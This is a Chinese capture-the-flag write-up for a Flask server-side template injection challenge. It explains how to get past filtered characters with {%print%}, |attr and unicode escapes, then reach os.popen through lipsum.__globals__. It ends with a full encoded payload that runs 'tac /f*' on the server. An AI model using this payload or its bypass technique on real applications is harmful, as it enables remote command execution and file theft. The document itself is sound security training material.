0%

[安洵杯 2020]Normal SSTI v2ish1yan的WriteUp

2022-10-31 01:39By
v2ish1yan
WEBFlaskPythonSSTI

[安洵杯 2020]Normal SSTI

  • ssti
  • unicode编码绕过

这个只要知道了用编码绕过就很好解

过滤了{{}}所以使用{%print()%}

因为.和[]被过滤,所以使用flask的|attr来调用方法

''|attr("__class__")等于

''.__class__

如果要使用xxx.os('xxx')类似的方法,可以使用

xxx|attr("os")('xxx')

使用flask里的lipsum方法,来执行命令

flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。

构造思路

lipsum|attr("__globals__").get("os").popen("ls").read()

因为__globals__返回的是字典,所以使用get来获取值

获取所以方法和module

image-20221031093405378

获取os module

image-20221031093635952

获取并使用popen()方法

image-20221031093733137

image-20221031093815672

使用read()得到str

image-20221031093855039

payload:

test?url={%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

如何知道哪些字符串被过滤了呢

fuzz

加载中...